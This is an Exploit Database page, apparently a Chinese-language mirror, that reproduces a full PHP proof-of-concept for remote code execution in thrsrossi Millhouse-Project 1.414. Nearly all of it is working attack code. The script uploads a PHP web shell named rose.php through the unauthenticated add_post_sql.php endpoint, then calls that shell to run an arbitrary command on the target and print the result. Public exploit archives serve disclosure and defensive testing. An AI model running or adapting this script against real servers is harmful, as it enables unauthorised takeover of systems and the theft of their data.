thrsrossi Millhouse-Project 1.414 – Remote Code Execution

• Exploit Database
• 37 阅读

• 作者： Chokri Hammedi
  日期： 2023-05-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51450/

• <?php
  /*
  Exploit Title: thrsrossi Millhouse-Project 1.414 - Remote Code Execution
  Date: 12/05/2023
  Exploit Author: Chokri Hammedi
  Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
  Software Link: https://github.com/thrsrossi/Millhouse-Project.git
  Version: 1.414
  Tested on: Debian
  CVE: N/A
  */
  
  
  $options = getopt('u:c:');
  
  if(!isset($options['u'], $options['c']))
  die("\033[1;32m \n Millhouse Remote Code Execution \n Author: Chokri Hammedi
  \n \n Usage : php exploit.php -u http://target.org/ -c whoami\n\n
  \033[0m\n
  \n");
  
  $target =$options['u'];
  
  $command=$options['c'];
  
  $url = $target . '/includes/add_post_sql.php';
  
  
  $post = '------WebKitFormBoundaryzlHN0BEvvaJsDgh8
  Content-Disposition: form-data; name="title"
  
  helloworld
  ------WebKitFormBoundaryzlHN0BEvvaJsDgh8
  Content-Disposition: form-data; name="description"
  
  <p>sdsdsds</p>
  ------WebKitFormBoundaryzlHN0BEvvaJsDgh8
  Content-Disposition: form-data; name="files"; filename=""
  Content-Type: application/octet-stream
  
  
  ------WebKitFormBoundaryzlHN0BEvvaJsDgh8
  Content-Disposition: form-data; name="category"
  
  1
  ------WebKitFormBoundaryzlHN0BEvvaJsDgh8
  Content-Disposition: form-data; name="image"; filename="rose.php"
  Content-Type: application/x-php
  
  <?php
  $shell = shell_exec("' . $command . '");
  echo $shell;
  ?>
  
  ------WebKitFormBoundaryzlHN0BEvvaJsDgh8--
  ';
  
  $headers = array(
  'Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryzlHN0BEvvaJsDgh8',
  'Cookie: PHPSESSID=rose1337',
  );
  
  $ch = curl_init($url);
  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_HEADER, true);
  
  $response = curl_exec($ch);
  curl_close($ch);
  
  // execute command
  
  $shell = "{$target}/images/rose.php?cmd=" . urlencode($command);
  $ch = curl_init($shell);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $exec_shell = curl_exec($ch);
  curl_close($ch);
  echo "\033[1;32m \n".$exec_shell . "\033[0m\n \n";
  
  ?>